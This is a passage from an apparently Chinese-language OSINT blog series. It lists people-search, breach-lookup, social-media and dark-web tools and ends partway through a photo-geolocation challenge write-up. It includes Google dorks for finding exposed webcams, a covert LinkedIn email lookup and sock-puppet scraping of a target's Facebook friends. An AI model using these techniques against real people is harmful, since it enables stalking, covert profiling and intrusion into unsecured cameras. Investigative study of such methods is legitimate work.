▶ **GeoIP 工具：**

ip-tracker.org

geoiplookup.net

iplocation.net

ipgeolocation.io

ipinfodb.com

infosniper.net

whoisip.org/ip-locator

geomywp.com

ipapi.co

▸搜网页存档的挖坟工具（不会担心被删除和篡改了）

loc.gov/websites

webarchive.org.uk/ukwa

oldweb.today

viewcached.com

timetravel.mementoweb.org

wiby.me

- 不要错过《如何挖掘被删除的东西—盗墓OSINT》
- 《手慢无：如何抢在信息被遮挡、污染或完全消失之前捕获它们？》

▸ 免费搜人的工具：

advancedbackgroundchecks.com

anywho.com/whitepages

cvgadget.com

findpeoplesearch.com

getpeoplesearch.com

johndoe.com

mylife.com/people-search/

peekyou.com

Search

peoplefinder.com

peoplesearchnow.com

privateeye.com

radaris.com

smartbackgroundchecks.com

snitch.name

spytox.com

usa-people-search.com

webmii.com

zabasearch.com

xlek.com/search_results.php# spytox.com

sydex.net

thatsthem.com

truepeoplesearch.com

unittus.com

▸追踪事件和发言者—搜话题标签的工具：

all-hashtag.com

hashtagify.me

hashtags.org

hashatit.com

ritetag.com

taginsta.com

twitscoop.com

getdaytrends.com

toptrendinghashtags.com

hashtags.wmflabs.org

top-hashtags.com

best-hashtags.com

hashtagsetup.com

hashtagpicker.com

hashtagsfinder.com

tagsleuth.com

hashtest.io

gramhashtags.com

twubs.com

tweetbinder.com

tiktokhashtags.com

▸**搜PDF**：

pdfsearchengine.net

pdfsearchengine.info

pdfgeni.com

pdfdrive.com

pdfsearches.com

search.pdf-archive.com

printfu.org

pdfyes.com

goliathsearch.com/SearchPdf

pdfbook-s.com

pdfsecret.com

freefullpdf.com

pdfsearch.io

好啦，今天就是这样！我们下次见，玩得开心～ ○

—— 持续更新中 ——

原文

深挖推特工具超长列表、寻找独立新闻源、物联网Dorks、泄漏数据、挖 Telegram、机器学习数据集、大牌流媒体资源 …… 新生情报工具（18）

开源情报-每个人都可用的武器新生情报工具

【2020年8月21日存档】继续不定期更新系列

欢迎回来！

依旧希望今天的内容能对您有用。

1、绕过 LinkedIn 的更改继续使用电子邮件地址挖掘目标情报的方法

「图」

对开源情报调查来说，在 LinkedIn 中搜索链接到电子邮件地址的任何帐户都是一种很有价值的工具。 研究人员一直在依靠许多不同的方法来执行此操作，包括URL操纵和浏览器加载项。最常用的是 Sales navigator for gmail。

Sales Navigator 是一种营销工具，旨在允许销售团队在 LinkedIn 上建立和培养客户关系。

由于使用率低，从2020年3月起，Sales Navigator 已经不再在 Gmail 中运行。尽管销售团队可能并未按预期的方式使用 Sales Navigator，但开源情报的从业人员在进行人员搜索时每天都在使用它。

目前为止拥有 LinkedIn 帐户的任何人都可以操纵URL，以便为他们提供 Sales Navigator 搜索电子邮件地址的结果，而不必为 Sales Navigator 付费。

只需更改URL末尾的电子邮件地址，您就可以自由地向 LinkedIn 查

询任何电子邮件地址，以识别是否已链接到 LinkedIn 帐户。查询如下：

https://www.linkedin.com/sales/gmail/profile/viewByEmail/电邮地址

但是在找到预期结果之前您会收到一个提示："Something went wrong while displaying this profile. Please reload or try again later"。

幸运的是，还有另一种通过电子邮件地址搜索 LinkedIn 的方法。自2017年以来，Sales Navigator 已与 Outlook 集成。Microsoft 同时拥有 Outlook 和 LinkedIn，并且许多公司都使用 Outlook 进行日常活动，因此与 Outlook 而不是 Gmail 集成是有意义的。

Steve Adams 介绍了使用 Outlook 通过电子邮件地址搜索 LinkedIn 帐户的过程，如下：

1、创建一个隐秘 Microsoft 账户，在这里：https://account.microsoft.com/account?lang＝en-us

2、使用这个新账户登陆 Outlook 的Web版本在这里：https://outlook.live.com/owa/.

3、在 Outlook 中，转到 "联系人" 部分，这里 https://outlook.live.com/people

4、通过选择 "添加联系人" 来创建新联系人，然后输入目标的详细信息，包括其电子邮件地址。

5、点击个人资料图片在下面的演示中显示为" SA"，在您的新联系人旁边，并在新的子窗口中选择 LinkedIn。

「图」

6、在弹出窗口中单击 "继续使用 LinkedIn"，然后登录到隐秘 LinkedIn 帐户，最后单击 "接受"。

7、返回到 Outlook，子窗口现在会显示将 LinkedIn 帐户链接到您输入的电子邮件地址的任何个人的 LinkedIn 资料。如果没有显示个人资料，则没有 LinkedIn 帐户链接到该电子邮件地址。

8、滚动到显示个人资料的子窗口的底部，然后单击 “在LinkedIn上查看完整的个人资料” 按钮。

9、个人资料将在 LinkedIn 的新窗口中打开，为您提供其帐户的 URL。

顺便说，Steve Adams 是开源情报分析师，也是讲师，他在线出售课程，价格不贵，因为他讲述的是基础知识，很适合初学者。请注意，他的语速比较快，如果您对自己的听力很有信心，可以试试看。

2、从电子邮件中收集信息的工具

「图」

这是 hakin9 推荐的，Project iKy 是一个从电子邮件收集信息并以漂亮的可视化界面显示结果的工具。上面是演示视频。

安装：

```
git clone https://gitlab.com/kennbroorg/iKy.git
```

您必须安装Redis，

```
wget http://download.redis.io/redis-stable.tar.gz

tar xvzf redis-stable.tar.gz

cd redis-stable

make

sudo make install
```

您必须将库安装在 requirements.txt 中：

```
python3 -m pip install -r requirements.txt
```

首先，安装 nodejs。

在目录内前端安装依赖项

```
cd frontend
```

```
npm install
```

在终端中打开服务器

```
redis-server
```

然后

```
./celery.sh
```

在另一个终端中

```
python3 app.py
```

最后运行前端服务器执行以下命令

```
npm start
```

打开iKy后的屏幕：

Wiki Page: https://gitlab.com/kennbroorg/iKy/-/wikis/home

More: https://gitlab.com/kennbroorg/iKy

3、全球范围内追踪冠状病毒动态

「图」

这是一个平台：https://apps.crowdtangle.com/public-hub/covid19 帮助您在全球范围内实时了解 Covid-19 最新动态；也可以选择您所在的国家/地区，保持抓取最新的本地内容。

4、导出 Facebook 人际关系

「图」

这是挖掘人际关系的方法，也是追踪中最重要的方法之一。在下面看到一些案例：

- 《如何挖掘目标人隐藏的人际关系？》
- 《如何挖掘目标人社交关系网？- 连锅端利器》
- 《针对人的追踪调查：开源情报思考方法（1）》

有多种方法可以在 Facebook 上快速映射和导出用户的 Facebook 人际关系。 这里将说明的是如何使用浏览器扩展 **Link Gopher** 进行此操作。

步骤1：下载 Link Gopher

Link Gopher 是一个浏览器扩展程序，适用于 Google Chrome（ 单击此处 ）和 Mozilla Firefox（ 单击此处 ）。

它可帮助您映射网页的所有链接，结果将自动进行排序，重复项将被自动删除 。

在下面的示例中，将该扩展程序用于 Mozilla Firefox，对于 Google Chrome 浏览器来说步骤几乎相同。

「图」

步骤2：打开目标个人资料的朋友列表

登录到您的袜子木偶 Facebook 帐户并导航到目标的个人资料。 单击 “OK ” 以映射目标的朋友列表 。 您还可以通过直接导航到以下链接来映射目标用户的朋友，在{ID}的位置输入目标的 Facebook ID：www.facebook.com/{ID}/ friends。

- 如何找到FacebookID，见这里《搜人、照片、视频、位置 ……大全：新的FB”图谱搜索”替代方案—— 尤其强调防御》

确保首先将目标帐户的所有朋友加载到屏幕上。 提示：按住空格键可自动滚动页面，直到所有朋友都加载完毕。

步骤3：筛选页面上的所有链接

单击浏览器右上角的 Link Gopher 图标。 然后选择 “Extract links by filter”，然后在此处输入 “ friends_profile ”。 单击“ 确定 ”，让扩展程序完成工作。

「图」

步骤4：复制并粘贴所有链接

现在，Link Gopher 扩展程序已为您选择了指向 Facebook 帐户的所有链接。 复制所有结果并将结果粘贴到 Microsoft Excel 文件或您选

择的程序中。 您将看到所有链接仍然有效。

步骤5：清理文件

如果您把所有链接放在 Excel文件中了，那么选择包含数据的列，然后单击“ 数据 ”选项卡，然后单击“文本到列”，“分隔 ”和“下一步”。

输入问号（ ？ ）作为分隔符，然后单击“下一步 ”，然后单击“完成”。 您将看到现在有了一个清理好的用户帐户链接列表。 如下所示，在20个结果中，有19个具有用户名，结果之一仅具有 Facebook ID（16号）。 该用户显然没有设置用户名。

就是这么简单，您学会了吗？

5、继续补充分类搜索工具

「图」

▸ 谷歌地图自定义搜索引擎：bit.ly/2vptfpH

▸网络摄像头自定义搜索引擎：bit.ly/37M3Qou

▸ 挖**Telegram** 的开源情报工具：

https://itnesweb.com/article/osint-on-telegram-amp-narcogeo-chats-telegram

https://www.securitynewspaper.com/2020/01/28/fetch-all-information-about-telegram-group-members-and-send-bulk-sms/

https://commslock.com/telegram-as-an-osint-source-for-the-intelligence-community-law-enforcement/

https://osint.info/index.php?title＝TELEGRAM

▸ 威胁情报搜索工具

isitphishing.org

spyse.com

sitecheck.sucuri.net

malpedia.caad.fkie.fraunhofer.de

malshare.com

threatcrowd.org

labs.cloudbric.com/threatdb

vxcube.com

beta.virusbay.io

talosintelligence.com

debouncer.com

abuseipdb.com

dns.ninja

dnsbl.info

hashdd.com

vulncode-db.com

malc0de.com/dashboard/

▶ **Skype**搜索引擎（搜索用户）：skypli.com

▶**Tiktok** 搜索引擎：vidnice.com/search/

▸搜索泄漏数据的工具：

dehashed.com

haveibeenpwned.com

haveibeencompromised.com

databreach.es

evileaks.su

leakedsource.ru

hacked-emails.com

databreaches.net

▸ 在线学编程的搜索平台：hackr.io

▸搜人：

site:.org “cse.google.com/cse/” “cx＝”

site:.io “cse.google.com/cse/” “cx＝”

site:.co “cse.google.com/cse/” “cx＝”

site:.net “cse.google.com/cse/” “cx＝”

site:.edu “cse.google.com/cse/”

site:.edu “cse.google.com” “cx＝”

site:github.com “cse.google.com/cse/” “cx＝”

▸一体化搜索引擎

findhub.com

freeality.com

goofram.com

rzr.online.fr/search.htm

incrawler.com

streetpavement.com

internetworldstats.com

itools.com

joinfinds.com

allsearches.net

azokan.com

beaucoup.com

buzzglobe.com

comparethesearchengines.com

crowdtangle.com

faganfinder.com

fefoo.com

100searchengines.com

20search.com

ageof.com

aiosearch.com

aiois.com

allmyfaves.com

all-io.net

alltheinternet.com

alljobsearch.com

martindalecenter.com

metahoo.com

multiz.com

fleiner.com/search.html

onesearch.co

refdesk.com

searchbeat.com

searchenginecolossus.com

searchenginesww.com

searchenginesoftheworld.com

search-22.com

search-it.netlify.com

searchall.net

searchalot.com

us.searchboth.net

searchdazzle.com/#!q

searchitall.com

searchopener.com

searchysource.com

soovle.com

sputtr.com

surffast.com

surfy.com

the-lookup.com

vlib.org

theinfo.com

unabot.com

allonesearch.com

findelio.com

web-multiple-search-engines.com

windweaver.com

▸调查工具：bgpview.io

▶Netflix/Hulu/HBO/Prime Video 资源搜索工具

reelgood.com

subflicks.com

flickmetrix.com

finder.com/netflix-movies

whats-on-netflix.com

flicksurfer.com

flixboss.com

instantwatcher.com

justwatch.com

flixlist.co

unogs.com

▸ 寻找独立新闻来源

thereal.news

democracynow.org

mondotimes.com 全球新闻

newsnow.co.uk/h/

newsblaze.com

ttds18.com twitter 新闻

alternativenews.com

zenith.news

inside.com

goodgopher.com

newswire.net

onenewspage.com 全球新闻

zaqs.org

sott.net

plazoo.com

▸寻找新闻源

ctnewsjunkie.com 本地新闻

correctsearch.com 突发新闻

search-news.herokuapp.com 假新闻检查器

dailyearth.com 全球新闻

yougotthenews.com

newsroompost.com 全球新闻

▸ 推特搜索工具—超长列表

onemilliontweetmap.com

allmytweets.net/connect/

accountanalysis.app

analyzewords.com

birdiq.net/twitter-search

twithelper.com

deleteallmytweets.com

doesfollow.com

factba.se

fakers.statuspeople.com

faketrumptweet.com

ctrlq.org/first/

foller.me

followerwonk.com

funtweets.com

funnytweeter.com

geosocialfootprint.com/# gettwitterid.com

gigatweeter.com

tweetbinder.com

twubs.com

tweetreach.com

itrended.com

jump.sh

loudtwitter.com

mytoptweets.com

osome.iuni.iu.edu/tools/

projects.propublica.org/politwoops/

hashtracking.com

printmytweet.com

ritetag.com

sentiment140.com

snapbird.org

followfly.co

spoonbill.io

tagdef.com/en/

tags.hawksey.info

tchat.io

russiatweets.com

threadreaderapp.com

tinfoleak.com

trackmyhashtag.com

trendsmap.com

trumptwitterarchive.com

app.truthnest.com

tweeplesearch.com

tweepsect.com

tweepsmap.com

tweetarchivist.com

tweetcongress.org/home

tweetjobs.dev

twitter-geo-search.herokuapp.com/#/home

tweet-tag.com

tweetails.com

tweetbeam.com

tweetbeaver.com

tweetdeck.twitter.com

tweetdelete.net

tweeterid.com

omnisci.com/demos/tweetmap/

tweetstats.com

tweetvalue.com

twiangulate.com/search/

twibbon.com

twicsy.com

twideer.com

twimap.com

twimfeed.com

twipho.net

twishort.com

twitjobseek.com

twitlonger.com

twitonomy.com

tweeplers.com/?cc=US

280.talltweets.com

jumbotweet.com

trends24.in

visibletweets.com

vicinitas.io

unfollowspy.com/searchmy.php

twitter.github.io/typeahead.js/

twxplorer.knightlab.com

twopcharts.com

twlets.com

twittonary.com

twittertroll.com

twitterfall.com

twiends.com/me/twitter

twdown.net

shadowban.eu

searchfortweets1.com

twitter-search-engine.herokuapp.com

▸ 机器学习数据集：zoosearch.surge.sh

▸ 搜索论坛：boardreader.com

▸ 搜索旧网页：wibly.com

▸物联网 **Dorks**

intitle:”live view” intitle:axis

intitle:”webcamXP 5″ inurl:8080 ‘Live

allintitle:”Network Camera NetworkCamera”

inurl:trafficcams -intext:trafficcams ext:asp OR ext:htm

intitle:”NetCam Live Image” -.edu -.gov

intitle:”EvoCam” inurl:”webcam.html”

inurl:”MultiCameraFrame?Mode＝Motion”

http://c4-cams.qwazwsx.xyz/c4-cams

allintitle:”Network Camera NetworkCamera”

http://camhacker.com

http://insecam.org

http://whatsupcams.com/en/

将 -dork -hacking 添加到所有网络摄像头dorks中有助于仅获取网络摄像头，比如这样：

intitle:”webcamXP 5″ inurl:’/gallery.html’ -download -dork -hacking

intitle:”active webcam page”

intitle:”my webcamXP server!”

intitle:”Live View /—AXIS”

▶**Cell Tower Guide 2020**

http://tinyurl.com/t33gg2p

http://wififreespot.com

http://wifimap.io

▶**WiFi Map IOS App**

http://tinyurl.com/vm8ryx5

▸ 网站镜像工具

httrack.com/page/2/

gnu.org.com

metaproducts.com

spadixbd.com

tenmax.com

tensons.com

calluna-software.com

softbytelabs.com

surfoffline.com

今天就是这些！您可以慢慢尝试它们，会发现很多乐趣的。○

—— 持续更新中 ——

原文

隐私型开源推特前端、追踪热点事件、邦德在哪、冠状病毒和抗体、搜警用无线电、网络摄像头dorks、暗网搜索 ……：新生情报工具（19）

开源情报-每个人都可用的武器新生情报工具

【 2020年9月3日存档】继续不定期更新系列

欢迎回来！

这里是第19集，依旧希望今天的内容能对您有用。

1、开源情报框架

「图」

OWASP Maryam 是一个基于 Recon-ng 的使用 Python 编写的开源情报工具框架。如果您具有 Metasploit 或 Recon-ng 的经验技能，完全可以轻松地直接使用它；如果没有，这里有一份快速指南。

- 从搜索引擎提取电子邮件、Docs、子域、社交网络
- 从Web来源提取 Links、CSS和JS文件、CDN链接、电子邮件、关键字
- 查找和暴力破解DNS、TLD
- 爬网搜索您的 RegExp
- 识别 WebApp、WAF、感兴趣的重要文件
- 并获得多种格式的报告

links：https://github.com/saeeddhqan/Maryam

2、开源推特前端 —— 专注于隐私

「图」

这是一个免费的开源替代 Twitter 前端，专注于隐私。

- 没有JavaScript或广告
- 防止Twitter跟踪您的IP或JavaScript指纹
- 非官方API（无速率限制，不需要开发者帐户）
- 轻量级（36KB，twitter.com是 580KB）
- RSS feeds
- 移动支持（响应式设计）

在这里看到：https://github.com/zedeus/nitter

3、映射全球俄罗斯军事基地

「图」

Status-6 制作了一份文档，映射全球俄罗斯军事基地；包括军事单位，情报中心，国防研究基地等军事单位，情报中心，国防研究基地等。

如果您对军事方面的地缘政治感兴趣，这也许是一份很重要的资料。

绿色代表海军，蓝色代表空军，红色是地面部队及其他。

可以在这里下载它：https://mega.nz/file/o34z3aZY#nnA8_AioA35c-Jtq3dY0nqr52aH0PuU218Oa8ocoBJY

您可以使用 WinRAR 程序打开 zip 文件。

4、追踪事件的平台

「图」

对于调查者和公民记者来说会很有用，您将能够在这里看到对特定的主题标签、关键字或位置进行广泛的Twitter分析，这对追踪热点事件的工作是很有意义的：https://www.trendsmap.com/

5、用电影练习侦探挑战追踪：邦德在哪

「图」

还记得我们曾经做过的使用电影来练习追踪定位的方法吗？在这里看

到《使用电影做侦探挑战演示：开源调查游戏》。当然，这篇演示中的题目难度较高。

bushidotoken 演示了一个类似的侦探挑战，与上述不同，这次它非常简单；但是，它足够体现开源情报调查中一些重要的技巧使用，尤其是思考方式/思路顺序 —— 他尝试使用开源情报技巧寻找 007 James Bond。

思路顺序的第一步就是，检查尽可能全面的线索。题目就是下图。

您看到了什么？显然第一眼看到的就是世界上最明显的地标：大本钟。还可以看到带有灰绿色屋顶的白色建筑物和邦德对面的维多利亚时代建筑。

因此，您可以在 Google Maps 上轻松找到大本钟。但仍然不知道邦德在哪。从视角上邦德似乎是从侧面看的，因为您可以在背景中看到威斯敏斯特宫。

更仔细检查图像，您可以看到一栋带有灰绿屋顶的建筑，即国防部（MoD），其后部是老式的办公大楼。因此，有了这个，您就可以知道这里是一个叫做白厅的地区，目标已经接近。

（Whitehall 是伦敦威斯敏斯特市内的一条大道，自特拉法加广场向南延伸至国会广场，亦为英国A3212号公路。这很容易在地图上看到，即便您不熟悉英国也没关系）

如果使用街景图来确认位置，您可以看到位于邦德前方的老式建筑。

来看一下 Shard Day 360 Photography，以收集更多的情报。这是一台摄像机，可以从欧洲最高的建筑物—Shard 碎片大厦上对伦敦进行360度全景拍摄。

「图」

因此您可以发现皇家骑兵卫队大楼后面的陆军部大楼。

「图」

好了，现在可以确切定位邦德在哪了。重新看一下最初的照片。

显然，邦德是站在国贸部的屋顶上，在那里可以俯瞰白厅。

就是这么简单。它真的体现了思路，即：首先尽可能找到一切您可以利用的线索；其次从最显著的线索入手，如果行不通，那就退回去换另一个线索；每一个线索的采用您都需要在头脑中有清晰的判断，关于使用什么工具能进一步挖掘它。不要错过下面的思考方式介绍，它很重要：

- 《开源调查应该是一种心智：得到它你需要几个步骤》

我们汇总的 “侦探挑战游戏” 是很重要的思考方式和经验展示，您可以从中学到很多前辈的智慧。

6、挖掘推特的技能挑战

「图」

AwareOnline 发布了一个新的开源情报技能测验。测试您挖掘推特情报的能力。

您知道如何充分理由推特吗？如何使所有答案正确无误？可以测试一下您的水平：https://www.aware-online.com/quizzes/osint-twitter-challenge-en/

☞挖掘推特的基本方法在这里找到：

- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》

在 列表-5“开源情报”板块中可以找到更多技巧：https://start.me/p/1kod2L/iyp-direct-action5

7、追踪极右翼

「图」

5月，有一台或多台Discord服务器遭到入侵和刮取。现在，145台服务器的大约1000万条消息全部可由DDoSecrets索引，并可通过其网站进行搜索。

于是它变成了一个宝库。

如果您对极右翼的内幕感兴趣，这里可以挖到别处没有的东西：

https://whispers.ddosecrets.com/

8、继续补充分类工具列表

「图」

▸搜警用无线电的工具—— 实时收听警察、消防、EMS、航空和铁路音频源

scannerchannels.com

broadcastify.com/listen/

liveatc.net

onlinepolicescannerhq.com

police-frequencies.com

scannerbuddy.com

scannerfrequencies.com

▸ 人脸识别搜索引擎：

pimeyes.com/en/

pictriev.com

how-old.net

ilooklikeyou.com

facesaerch.com

▸博客搜索引擎

blogs.botw.org

bforblogging.com

blogs.bing.com

blogdire.com

blogville.us

blog-directory.org

blogflux.com

blog-search.com

blogtopsites.com

blogarama.com

bloggeries.com

bloggernity.com

bloggernow.com

bloggingforboomers.com

bloghub.com

bloglog.com

blogs-collection.com

showcase.joomla.org

ukblogdirectory.co.uk

theblogscope.com

blogdumps.com/index.php

createandgo.com/blog-search/

bloggingfusion.com

technorati.com

blawgsearch.justia.com

fishing4tech.com/mtbos.html

thevital.net

blogsearchengine.org

searchblogspot.com

yougotblogs.com

▸ 区块链/比特币搜索引擎

blocksearchengine.com Blockchain Search Engine

blockchainola.com/blockchain-search-engine/ Blockchain search engine

blockchair.com Bitcoin search engine

blocks.press Blockchain Search Engine

coinmio.com Crypto Coin Search Engine

enjinx.io blockchain search

seekoin.com bitcoin search engine

spendabit.co bitcoin search engine

▸冠状病毒搜索引擎

coronasearch.net academic papers

covidsearch.sinequa.com scientific content

covidscholar.com research

covidexplorer.in stats etc

covidsearch.korea.ac.kr real time question answering

covidseer.ist.psu.edu/search open research search

discovid.ai/search scientific knowledge

covidex.ai AI search

tmcovid.com text mining

covid-search.doctorevidence.com doc evidence

p2med.shinyapps.io/Cov19-Monkey/

cord-19.apps.allenai.org full-text search engine

kaggle.com/covid-19-contributions data & tools from kaggle community

ushospitalfinder.com Find and search Hospitals

symptoma.com Symptom checker

emergencycare.inccrra.org COVID-19 Emergency Provider Search

cord19.vespa.ai Covid-19 search engine

biocompare.com/Antibodies/ Antibody search

▸ 冠状病毒研究工具

一个专门查找冠状病毒相关学术论文的搜索引擎 Covid-19：https://coronasearch.net/ 多语种

以及，搜抗体的工具：

antibodies.com

antibodies-online.com

citeab.com

biocompare.com/Antibodies/

labome.com/index.html

antibodyregistry.org

biozol.de/de

linscottsdirectory.com

abclonal.com

▸生物医学资源搜索引擎：

biokde.com Biomed literature

pubplus.org Biomed literature

bmlsearch.com Biomed literature

openi.nlm.nih.gov Biomed image search

pubnet-svc.gersteinlab.org Pub Graph Utility

▸补充网络摄像头**dorks**：

intitle:”live view” intitle:axis

intitle:”webcamXP 5”

inurl:view/index.shtml

intitle:”EvoCam” inurl:”webcam.html”

intitle:”Are living View /—AXIS”

intitle:axis intitle:”video server”

inurl:axis-cgi/jpg

▸被警察杀死的人—地图数据库

killedbypolice.net

▸ 暗网搜索引擎

boogle.store Genesus Search

darksearch.io

deepwebsearch.co

onionlandsearchengine.com

onionsearchengine.com

ahmia.fi

▸社交媒体情报—**YouTube**搜索引擎：

mattw.io/youtube-geofind/

channelcrawler.com

ytcomment.kmcat.uk Comment Finder

tagsyoutube.com

0px.moe/samplesearch/

▸ 社交媒体情报—**Instagram** 搜索引擎：

findtagz.com

gramvideoz.com

gramplaces.com

taginsta.com

gramfind.com

gramlook.com

gramuser.com

gramchecker.com

mixagram.com

▸ 一站式：一次性在多个平台上搜索的工具 Query，您只需要输入关键字，选择想要的平台即可：query.vandesm14.ml

▸ 查找最佳编程教程和编码资源：hacksource.xyz

▸搜索数据泄露：

breachrecon.com

dehashed.com

evileaks.su

leakedsource.ru

monitor.firefox.com

ghostproject.fr

hacked-emails.com

hacknotice.com

haveibeenpwned.com

haveibeensold.app

haveibeencompromised.com

leaked.site

breachalarm.com

leak-lookup.com

leakcheck.io

databreach.es

scatteredsecrets.com

spycloud.com

nuclearleaks.com

databreaches.net

vigilante.pw

▸搜索视频剪辑的工具：

vlipsy.com

getyarn.io

wingclips.com

▸无线频率搜索工具

digitalfrequencysearch.com

shure.com/en-US/support/tools/frequency-finder

fccid.io/frequency-explorer.php

frequencycheck.com

interceptradio.com

wigle.net

freqfinder.akg.com

cellmapper.net/map

▸查找用户**ID**的工具：

lookup-id.com Facebook

caius.github.io/github_id/

tweeterid.com

gettwitterid.com

otzberg.net/iguserid/ Instagram

注：关于Facebook User Id，可以参见这里的演示《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案—— 尤其强调防御》

▸ 基于位置的搜索引擎

piperpal.com

taskiy.net

snaptrends.com

▸地理定位训练

如果您想练习自己的地理定位技能，可以选择众多收集该信息并提供帮助的网站之一，例如：

itsfilmedthere.com/2012/05/my-top-10-most-wanted-missing-locations.html

地理定位是一套思考方式，而不仅仅是技术工具/思考方式可以复制，但必须有创新和应变能力，这样才能才能将它真正变成您自己的技能。

▸ 文件共享网站搜索引擎

ddlsearch.free.fr

filediva.com

zippysharesearch.com

filejokersearch.com

uvrx.com

filesearchengine.blogspot.com

googledrivesearch.com

sharedigger.com

anyfiles.org

▸ 搜索数据集的工具

gapminder.org

search.openedition.org

data.worldbank.org

webdatacommons.org

openpaymentsdata.cms.gov

zenodo.org

public.enigma.com

visualdata.io

datasetlist.com

gdeltproject.org/data.html

▸ 缓存工具

cachedview.com

viewcached.com

cachedviews.com

pagecached.com

cache.nevkontakte.com

cachedwebpages.com

cachedpages.com

cachearchive.com

▸ 推特位置工具（分析人、人群、热点议题和热点事件）

tweepsmap.com

trendsmap.com

onemilliontweetmap.com

socialbearing.com/geo

app.teachingprivacy.org

geosocialfootprint.com

keitharm.me/projects/tweet/ Tweet Mapper

seekatweet.com

tweeplers.com

▸ 关键字查询工具

keywordtool.io

keyword.io

semscoop.com

keywordtool.net

app.kparser.com

mykeyworder.com

serpstat.com

keywordsheeter.com

▸ 反向链接查询工具 **#SEO**

serpstat.com/backlinks/

neilpatel.com/backlinks/

webmeup.com

linkquidator.com

backlinkshitter.com

backlinkr.net

ranksignals.com

backlinkwatch.com

real-backlinks.com/en

▸ **查找Google自定义搜索引擎**

site:google.com inurl:cse search engine

site:google.com inurl:cse inurl:cx＝

publicurl:cse.google.com/cse?cx＝ search engine

inurl:cse inurl:cx＝ custom search engine

▶ URL恶意软件分析工具

urlscan.io

virustotal.com/gui/home

hybrid-analysis.com

sitecheck.sucuri.net

global.sitesafety.trendmicro.com

metadefender.opswat.com

joesandbox.com

urlvoid.com

getlinkinfo.com

▶**Wiki 搜索平台：**

wiktionary.org

wikinews.org

wikiversity.org

wikivoyage.org

wikipedia.org

wikibooks.org

wikiquote.org

- 不要错过《活动家团队如何建立自己的维基站点？》

今天就是这样！希望您能找到感兴趣的东西，我们下次见。〇

—— 持续更新中 ——

原文

DC1 侦探挑战小游戏 - iyouport

侦探挑战游戏

【2019年9月25日存档】技能比工具更重要

这是第一次介绍 Quiztime。他们是一群开源调查的爱好者，已经组织了很多侦查挑战的小游戏。

如果您对真相感兴趣、不希望自己经常遭受社交网络和媒体的蒙骗，这些小游戏将非常适合您开拓思路，不论是调查挖掘还是验证信息，都需要一个好的思考方式；尤其是对OSINT初学者来说，构建合理的思考方式比获得技术工具更重要。

顺便关联我们推荐过的最全技术工具箱《超级情报收集工具库：开源验证和调查工具及使用方法》。

快速开启。

挑战1：下图中这些骑自行车的人所在的具体位置是哪里？

显然这是最容易的题目。因为这张照片中包含丰富的元素。你找到了吗？

这里就是一个思考方式：通过在没有任何工具的情况下使用观察，就能发现很多重要的线索，然后就可以沿着线索梳理下去。

1、汽车和骑自行车的人都在左侧开车或骑车，这意味着此处几乎可以肯定是英国或爱尔兰的街道（虽然理论上还有其他可能性）。

在维基百科上查询全球有哪些国家是左侧行车的国家 List of countries with left-hand traffic。

很好，思考范围迅速缩窄了。

继续看，在那个公寓楼墙面上写着 “Ansell House”，它提供了一个特定的地址位置线索，你可以迅速定位。

其实最大的线索就是自行车道。你可以在路面上隐约看到“CS2”，证实这是 Cycle Superhighway 2，所以位置肯定是伦敦。

但这条路很长，确切位置究竟在哪里呢？

下面这张图提供了一些漂亮的参数：

这样就能容易多了。然后使用 Google 街景快速查看以在视觉上确认：

所以，正确的位置是：伦敦 Mile End 路的 Ansell House 外面（链接到地图）。

相当容易是吧？这样可以增强您的信心，这表明稍微用点心就能发现社交网络上那些声称发生在某地的事件事实上究竟发生在哪 。

好的我们继续。第二个挑战稍微复杂一些 。

挑战2：下面这张照片是在哪里以及什么时间拍摄的？可以尽可能接近具体位置 。

幸运的是发布者 Lars 说了这张照片是在 Eintracht 法兰克福的体育场拍摄的，所以你已经知道从哪里开始了。

这个挑战是两个部分，一个是位置，一个是时间。你可以分头考虑。

首先调整图像URL以获得大图，然后你就会发现一个非常明显的线索。（关于如何调图，详见这里《如何让社交媒体上发布的低质量照片变得更清晰？》）

你会看到，球场上的广告写着“欧足联基金会”。这很重要，因为它极大地缩小了时间参数的范围。

快速浏览一下法兰克福的Eintracht赛程列表显示，尽管法兰克福队通常在德甲联赛中打大部分比赛，但他们本赛季也一直参加欧洲联赛。

此外，他们本赛季仅打了14场比赛，其中一半是客场（球队名单左侧的队伍总是主队）。这意味着已经可以将可能的场合缩小到仅仅7场比赛。

照片拍摄时球队还没有出场，于是无法知道这场比赛的对手是谁。照片左上角走进球场的人不是球员，很明显。

还有一些其他独特的特征需要考虑：

- 人群中的金色和黑色旗帜。
- 右边的横幅上写着“wir stehen ……”（德语，大概是“我们大胜”的意思）
- 球场左侧上的物体可能是某种横幅或标志。

我决定从法兰克福最近的欧洲足联比赛开始向前推进，直到找到能够帮助确定这场比赛的确切时间的细节。

和很多照片定位挑战一样，很难直接通过图中呈现的线索找到准确位置。于是不如从其他角度下手：这里尝试首选新闻和YouTube，而不是照片本身。

如上这里检查的第一次比赛是法兰克福对切尔西，2/5/19：

（视频已失效）

开球前大量的体育场镜头都非常有用。但是没有任何金色和黑色旗帜的迹象，或者“wir stehen ……”的旗帜。

很简单不是这里。

那么继续尝试：Eintracht Frankfurt v Benfica 18/4/19:

这个视频的相似性就比较多了；但是依旧没有找到金色旗帜，也看不到“wir stehen”横幅。

当然，不可否认，这段视频只有几秒钟，并不是100%的结论，但在完全否定之前，需要继续检查欧足联之前的比赛。

就是这个了。只需要看前五秒就知道这是正确的：

你可能需要多看几次，但是肯定能找到那张照片中所有细节。金色和黑色的旗帜，“Wir stehen ……”横幅和球场边缘地面上的横幅都存在。

这也表明，在照片中左上角走进球场的人不是球员，而是将大型UEFA横幅带到场地上的啦啦队。

这也有助于确定时间。因为开赛时间是确定的。

再看一下赛事列表，启动时间是2019年3月7日18:55。这必定意味着照片是在开球前拍摄的，可能是在18：45–18：50左右。

现在找到门路了。开始做一些图像搜索，验证一下在视频中找到的东西。

欧足联官方提供的照片就体现了所有这些细节：

很好，在几分钟内找到了正确的时间。现在只剩下找到拍摄者在体育场内的确切位置了。

在原始照片中可以看到拍摄者面前是金色和黑色的旗帜。欧足联官方的照片（上图）显示的是红色和黑色的旗帜（或没有旗帜）所以拍摄者不在同一个位置。

照片显示拍摄者在一个较大的横幅的下面，在他面前有人在摇旗，所以，开始假设，对于确切位置的第一个假设是下面这里：

但似乎看起来太靠近中心位置了，照片中的拍摄者似乎更边缘一点。参考一下官方提供的座位图：

